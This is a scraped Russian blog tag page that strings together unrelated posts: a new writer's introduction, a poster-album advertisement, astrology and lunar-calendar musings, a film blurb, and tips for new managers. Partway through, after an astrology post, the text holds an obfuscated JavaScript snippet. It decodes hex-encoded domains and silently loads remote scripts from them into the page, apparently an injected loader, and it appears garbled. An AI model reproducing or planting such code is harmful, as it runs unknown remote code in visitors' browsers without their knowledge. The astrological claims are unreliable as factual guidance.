хочу сюда!
 

Арина

37 лет, козерог, познакомится с парнем в возрасте 35-45 лет

Заметки с меткой «начало»

Начнём же !

 Спасибо Вам огромное за столько ответов . Мне каждый комментарий очень помог и дал вдохновение писать свой блог . Мне еще многое придется обдумать и поменять , но не буду переставать писать , так как мне очень нужно это для практики . 
  Раз мы с Вами знакомимся , то я расскажу немного о себе . Я начинающий журналист и писатель . Этот блог будет помогать мне оценивать свою деятельность со стороны . Ведь самое главное в писательстве - это реакция читателей на твоё произведение . Так что конструктивная критика приветствуется ! Также порой я буду выставлять свои работы фото . Увлекаюсь иногда этим занятием , но в основное хобби оно не входит . Тематика моего блога будет такова : истории из жизни , рассказы ,  и стихи . Извините за последнее , но я не удержалась , но если не понравится , то не буду . Также , я думаю попробовать выставлять главы из моей книги .
  Не забывайте про комментарии ! До встречи !

НАЧАЛО – новый альбом мотивирующих постеров об истоках

Проект ИНФОРМДИЗАЙН представляет новый альбом постеров-мотиваторов, посвящённый НАЧАЛУ и его основополагающему значению для всякого дела.

Начиная заново, человек переступает порог, отделяющий один цикл, один этап жизни от другого. Закрывается одна и открывается другая, новая и чистая страница. Начинать сначала приходится чаще всего не от хорошей жизни. Но есть ситуации, когда это просто необходимо, не говоря уже о тех моментах, когда нужно не только суметь начать сначала, но и успеть сделать это вовремя, иначе будет поздно и уже ничего не изменишь.

Начиная новое дело, нужно быть готовым идти на риск – человек всегда будет сталкиваться с множеством неизвестных. В жизни никогда не бывает всё наверняка и так, как хочется. Полностью известным может быть только то, что было, но не то, что будет.


Мотивационный плакат – постер, вдохновляющий зрителя на определённые мысли, стимулирующий на действие, на какое-то изменение эмоционального состояния. Главная цель постера-мотиватора – стимулировать, побуждать что-то сделать, измениться, поменять взгляд на тот или иной предмет, вдохновлять на работу над собой или просто заставлять позитивно задуматься, поднять настроение.


Альбом мотивирующих плакатов «НАЧАЛО» содержит цифровые картины, посвящённые отправному пункту, исходной точке любого дела, точке отсчёта для любого размышления, чистой странице нового этапа жизни – НАЧАЛУ. Уметь начать сначала – это великое и сложное искусство. Человек нуждается в переменах не только тогда, когда необходимо выбраться из тяжёлых, тупиковых ситуаций, но и в случае необходимости изменить вполне благополучное рутинное существование.


Просмотреть мотивирующие плакаты также можно на странице МОТИВИРУЮЩИЕ ПОСТЕРЫ (МОТИВАТОРЫ) проекта ИНФОРМДИЗАЙН, объединяющей все доступные на текущий момент времени постеры-мотиваторы по самым различным актуальным темам. Мотивирующие плакаты объединены в тематические альбомы. Перечень тем для разработки мотивационных постеров постоянно расширяется, как и количество альбомов внутри уже существующих тем.


Разрабатываем мотивирующие плакаты индивидуального дизайна по конкретным тематикам и заданным крылатым выражениям и афоризмам для прогрессивных компаний, открыто и нестандартно мыслящих и предпочитающих действия словам.

Мотивирующие плакаты альбома «НАЧАЛО» являются яркими и практичными элементами оформления любого помещения – будь то сдержанное офисное пространство или жилой интерьер. Вместе с тем постер-мотиватор может быть прекрасным подарком к любому значимому событию в жизни человека, подчёркивающим уникальность и значимость знака внимания.


Мотивационные постеры одновременно решают две задачи: повышают мотивацию сотрудников с помощью ёмких точных цитат и украшают пространство ярким и актуальным современным дизайном. Мотивирующие плакаты, передающие с помощью оригинального дизайна ценности и смыслы, достойны быть перед глазами сотрудников любой компании, ориентированной на эффективность и результат.


Проект ИНФОРМДИЗАЙН специализируется на разработке графического дизайна и дизайна полиграфической продукции, разработке презентаций, создании цифровых картин. Мы следуем ряду принципов, столь необходимых для подготовки эффектных, эффективных, а главное – результативных рекламно-информационных и презентационных материалов: соответствие ожиданиям клиента, уникальность решений, эксклюзивный дизайн, оперативность и надёжность.

 

Больше информации вы можете получить на сайте проекта ИНФОРМДИЗАЙН: http://informdesign.pro/

 

Контактная информация:

Кошель Сергей – автор проекта ИНФОРМДИЗАЙН

Тел.: +7 (925) 507-1335, +7 (916) 655-4955

Email: info@informdesign.pro

И так...

Начну, пожалуй, с приветствия тем, кто случайно (а может и нет :) ) заглянет сюда. Здравствуй, странник! :))
Просторы интернета велики и, возможно, мой бложек потеряется среди несметного количества всяко разного. Так как писатель из меня никудышный. Но я надеюсь на лучшее...) 
Ах да, немного о себе: люблю выпить, курю и ругаюсь матом :) И ник я себе выбрала неспроста: пьяная чайка :)


Когда слушаю, то слышу…



100%, 1 голос

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Когда начало, середина и конец недели?

Четверг и пятница - это дни конца недели? Я думала они - часть конца недели. А сегодня подумала что может они дни середины недели. ?

Что день нам этот приготовил...

14 августа 2015 года

Первый уровень: Лунный календарь
С 4:56 до 17:54 – Тридцатый лунный день, Новолуние в знаке Льва. Далее Первый лунный день до 06:02 15 августа. День Прощения, Покаяния, Гармонии и Любви!!! Новолуние во Льве в Тридцатый лунный день – очень благостное знамение!!!!

14 августа. День великого сияния. Это день, когда мы внутри становимся подобно великому солнцу, которое и начинает на духовном уровне ярко и безмятежно освещать весь обновленный строй нашей жизни. Поэтому в этот день следует побольше улыбаться, радоваться, любить и сиять в счастье своей души и жизни.

Лев – это солнечная сторона нашей натуры. То место, куда он попадает в гороскопе (также, как и планеты) несет силу ваших личных устремлений. Двойная доза (Солнце и Луна) во Льве усиливает импульсы новолунной энергии. В эту лунацию хорошо мечтать о том, что вы любите. Вы можете поразмышлять как делать то, что вы любите, побольше. Что добавит яркого цвета в ваше видение будущего? Львиное Новолуние усилит знание того, что мы здесь для особенной цели. Нам предназначено быть частью этого. Настройтесь на режим восприятия, созерцайте жизнь в эти новолунные дни. Время перед появлением новой Луны священно, когда происходит загрузка на заднем фоне повседневной жизни. Мы можем найти внутри себя сокровища в это время. И то, что проявляется ценного для нас, ведет к нашей особенной роли. Лев – знак самой пылкой любви. Лев – игривый дух и истинная самость. Это знак детей и детства, живости ранних лет, когда мы были центром нашего мира. Это время встречи с миром какие мы есть, без мыслей о том, как мы выглядим или сравнения с другими. Пока не вмешиваются тяготы жизни, дети обладают определенной уверенностью. Они говорят: «Это я». И есть поворотная точка, когда это проходит и сменяется подростковым гневом и неуверенностью. Кем мы были до того, как пришло это суждение? И прежде чем мы услышали голоса, говорящие «Да кто ты такой?» Лев – знак празднования себя, с нашей уникальной историей, творческими дарами, личностью, страстью к жизни. Где яркие моменты в этом хаосе? Мы чувствуем больше свободы будучи тем, кто мы есть на самом деле? Самые желанные и уверенные в себе энергии оживляют нашу особенную цель сейчас. Лев напоминает нам о нашей силе созидать – из сырого материала того, кто мы есть. Для многих — это темное время и есть реальные угрозы нашему выживанию. Это пробуждает наш «воинственный дух» или желание исполнить свою судьбу? Какой выход творческой энергии мы можем найти во всем этом? Новолуние во Льве приглашает нас посадить плодотворные семена вместо разрушительных и поливать их всей нашей решимостью. Оставьте драмы при себе и посмотрите на жизнь как на священную мистику. Как мы можем выразить и разделить с другими свое восприятие происходящего. На бумаге или сцене? Наш внутренний художник ждет воплощения ваших идей и их продвижения. Новолуние во Льве возвращает яркость цвета, тепло и якорит нас в наших сердцах. В эту лунацию будет замечательно поразмышлять как вернуть в вашу жизнь тепло человеческих отношений. Это означает ослабить маску анонимности, которую мы часто носим при людях. Это означает улыбаться и рисковать открывать свое сердце. Это прекрасное время для любви, которая начинается с глупой улыбки. Дух щедрости витает в воздухе, и мы видим других в лучшем свете. В каждый миг мы делаем выборы – созидать или разрушать, любовь или страх. Прямо сейчас, искра творения пульсирует сильнее и сильнее внутри нас. В это Новолуние мы можем посвятить себя этому творческому импульсу. Как мы показываем свою любовь? Какие уникальные дары мы разделяем с миром, плачущим по красоте, доброте и мудрости?

 Читать далее Здесь... http://pozitive.ucoz.ua/blog/chto_den_nam_ehtot_prigotovil/2015-08-14-391 




Но эта карта Сознания показывает огромную фигуру Будды. Он настолько всеобъемлющ, что даже поднимается выше звезд, и над его головой — чистая пустота. Он представляет собой сознание, которое доступно всем, кто становится хозяином ума и может использовать его как слугу, как это и должно быть. Когда вы выбираете эту карту, это означает, что прямо сейчас вам доступна кристальная ясность, отстраненная, исходящая из глубокого покоя, который лежит в сердцевине вашего существа. Вы не стремитесь понимать умом, ваше понимание — это понимание сути. Оно цельно и сонастроено с пульсом самой жизни. Примите этот великий дар и поделитесь им.

 

 

Будьте внимательнее... медитативнее... созерцательнее...

И пусть этот день станет Радостью!!!

Блага Всем! Мир Всем!

Мир Всему Сущем!

 

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

О солнечном затмении...

... Много уже написано о периоде Настоящем.... Чудесном и необыкновенном... Разрешите ещё обратить Ваше внимание на такую деталь, на мой взгляд не мало важную в этом многогранном Узоре грядущего Солнечного и Лунного Соединения: Равноденствие, Солнечное Затмение, Новолуние, Норвуз (от перс. «новый день») или Пасха, и очень значимые соединения Планет.

 Солнечное затмение 20 марта 2015 года будет в Южном узле (Нисходящем узле или Кету) - события, происходящие в интервале плюс-минус две недели от времени прошлого затмения, ставят нерешённые проблемы прошлого, а за этим следует воздаяние или расплата за прошлые поступки, слова и мысли...Ось судьбы в натальной карте (гороскопе) определяется положением Лунных Узлов – от Южного к Северному от Нисходящего к Восходящему...

 Кету -  это врождённые особенности человека, его способности, таланты и качества, которые проявляются с лёгкостью и без усилий, естественно, неосознанно. Оно раскрывает глубинный психологический слой, наиболее укоренённые реакции на мир, зацикливаясь на которых, мы оказываемся во внутреннем тупике. Южный «полюс» - это линия наименьшего сопротивления, а когда энергия не перетекает к нужному полюсу, она неизбежно скапливается на противоположном.

 Чем дольше человек остаётся в этом состоянии, тем больше возможностей для своей эволюции теряет. Вода, текущая с вершины горы к её подножью, выбирает этот путь как наиболее лёгкий. Но путь развития иной. Он требует от человека усилий в новом направлении, используя то, что дано ему по рождению. Это, новое направление указывает Северный узел (Восходящий или Раху), сообщая как человек может в полной мере использовать возможности, приготовленные судьбой. Северный узел – это тип поведения и реагирования на внешние вызовы, который для человека является предпочтительным, благоприятным, открывающим новые пути и помогающий решать проблемы. Однако, «звёзды склоняют, но не обязывают». Свобода выбора всегда остаётся за человеком...

 Лунные узлы возвращаются на исходные позиции, когда нам исполняется 18-19, 37-38, 56-57, 74-75 лет. Это узловые моменты жизни, которые заставляют человека оценить и осмыслить пережитое, найти причину своих успехов и неудач, дают возможность планировать будущее в соответствии с результатами прошлого. Эти годы могут стать критическими, и даже роковыми, если человек избегал духовных усилий, нового опыта и нового направления, указанного Северным узлом, оставаясь на привычных позициях, страшась необходимых перемен. Цикл Лунных узлов напрямую связан связан с циклами затмений. Ось узлов – это стержень, на который нанизываются все составляющие нашей натальной карты, реализуюсь в наших врождённых чертах характера и жизненных ситуациях.  Они отвечают на вопросы «откуда?» и «куда?» идёт человек, показывают дорогу наибольшего прогресса и наименьших потерь. Лунные узлы передвигаются также по зодиаку в течение 19 лет, и таким образом лунные узлы в знаках зодиака располагаются. Северный узел показывает новые отношения, появившиеся недавно, а Южный - открывает старые проблемы. Лунные узлы открывают тайны внутренней жизни человека.


Читать далее Здесь ... http://pozitive.ucoz.ua/news/o_solnechnom_zatmenii/2015-03-19-27



                                                                  

Фильм на вечер 34

Начало (2010)
Жанр: фантастика, боевик, триллер
Описание:
Кобб — талантливый вор, лучший из лучших в опасном искусстве извлечения: он крадет ценные секреты из глубин подсознания во время сна, когда человеческий разум наиболее уязвим. Редкие способности Кобба сделали его ценным игроком в привычном к предательству мире промышленного шпионажа, но они же превратили его в извечного беглеца и лишили всего, что он когда-либо любил. 
И вот у Кобба появляется шанс исправить ошибки. Его последнее дело может вернуть все назад, но для этого ему нужно совершить невозможное — инициацию. Вместо идеальной кражи Кобб и его команда спецов должны будут провернуть обратное. Теперь их задача — не украсть идею, а внедрить ее. Если у них получится, это и станет идеальным преступлением. 
Но никакое планирование или мастерство не могут подготовить команду к встрече с опасным противником, который, кажется, предугадывает каждый их ход. Врагом, увидеть которого мог бы лишь Кобб.
Рейтинг:
 
Фильм вы можете посмотреть Здесь
Трейлер:

7 ошибок руководителя-новичка

0,,16813360_303,00
1. Думает, что все думают, как он

«Я сделал ошибку в самом начале работы на руководящей должности, думая, что у наших сотрудников были те же самые процессы мышления и тактика обучения, как и у меня. Не оправдались ожидания того, что я могу объяснить и получить результат именно такой, как я видел это в моей голове. Теперь я прошу сотрудников сразу изложить мне, каким они видят конечный результат, а также объяснить процесс работы, чтобы я мог понять, услышали ли мы друг друга», - говорит Ким Кауп из ZinePak.

2. Нанимает на работу по портфолио

«Ошибка, которую я допустил в самом начале: я старался нанимать людей на основе их работы и достижений. А следовало бы нанимать тех, кто разделяет те же принципы, что и я. Крайне важно брать себе в команду людей, разделяющих наши взгляды. Сотрудники должны верить в наши основные ценности прежде, чем начнут работать здесь, независимо от их портфолио», - считает Чак Лонгенекер из Digital-telepathy.

3. Не способствует развитию персонала

«Хорошие сотрудники хотят профессионального роста. Как владелец бизнеса, вы должны убедиться, что персонал действительно чувствует, что у него есть возможности для расширения знаний. Лучшие сотрудники всегда будут искать чего-то большего, но уже в другой организации, если поймут, что достигли своего потолка в вашей компании. Кроме того, если сотрудник не стремится развиваться, стоит подумать, подходит ли он вашему растущему бизнесу?», - задается вопросом Митч Гордон из Go Overseas.

4. Мешает сотрудникам идти своим путем

«Ваши сотрудники хотят произвести впечатление на вас и построить великую компанию, так что вполне нормально, что у них могут быть свои опасения и заботы. В первые дни будьте терпеливы, и пусть ваши сотрудники делают что-то по-своему. Иногда их идеи будут лучше ваших. Но ведь поэтому вы и наняли именно этих людей», - отмечает Гэган Бийани из Growth Hackers Conference.

5. Пытается максимально использовать навыки сотрудников

«Вначале я пытался добиться того, чтобы, к примеру, мои финансовые директора помогали мне с развитием бизнеса. Но я быстро понял, что нужно строить свою собственную команду, позволяя каждому сосредоточиться на том, что он делает лучше всего», - говорит Дэвид Эренберг из Early Growth Financial Services.

6. Нанимает друзей

«Поначалу я нанимал друзей, думая, что это наилучший вариант. Они оказались ненадежными, часто опаздывали, потому что знали: я не мог сильно злиться на них. Это привело к снижению производительности, клиенты были недовольны. С друзьями работать можно, но только с теми, кто, как и вы, осознает важность создания бренда. В противном случае, лучше просто быть друзьями вне работы», - Ник Фридман из College Hunks Hauling Junk и College Hunks Moving.

7. Не делегирует полномочия

«У меня заняло слишком много времени, чтобы избавить себя от повседневных мелких дел, которые, по сути, входили в обязанности ряда других сотрудников. Я должен был сразу понять истинные обязанности генерального директора и сосредоточиться на высокоэффективном использовании моего времени», - делится Роберт Дж. Мур из RJMetrics.

Большинство из этих пунктов у многих начинающих руководителей «хромают» из-за плохой обратной связи с персоналом. В этом смысле менеджеров выручают специальные программы и разработки для управления компанией, например, облачный сервис «Простой бизнес». Посредством этого комплекса удобно не только выстроить управление персоналом, но также организовать электронный документооборот.

Вступительная статья

Привет, дорогой друг ! От лица команды сайта бизнес-идеи нашего века поздравляю тебя с посещением бизнес ресурса. Используя материалы сайта, ты сможешь качественно направить свою жизнь к лучшему! Воспользуйся тем, что ты зашел на сайт в свое благо! :) Продолжение читайте у нас на сайте http://skorbatyuk.com/base/first-single.html .
Страницы:
1
2
3
5
предыдущая
следующая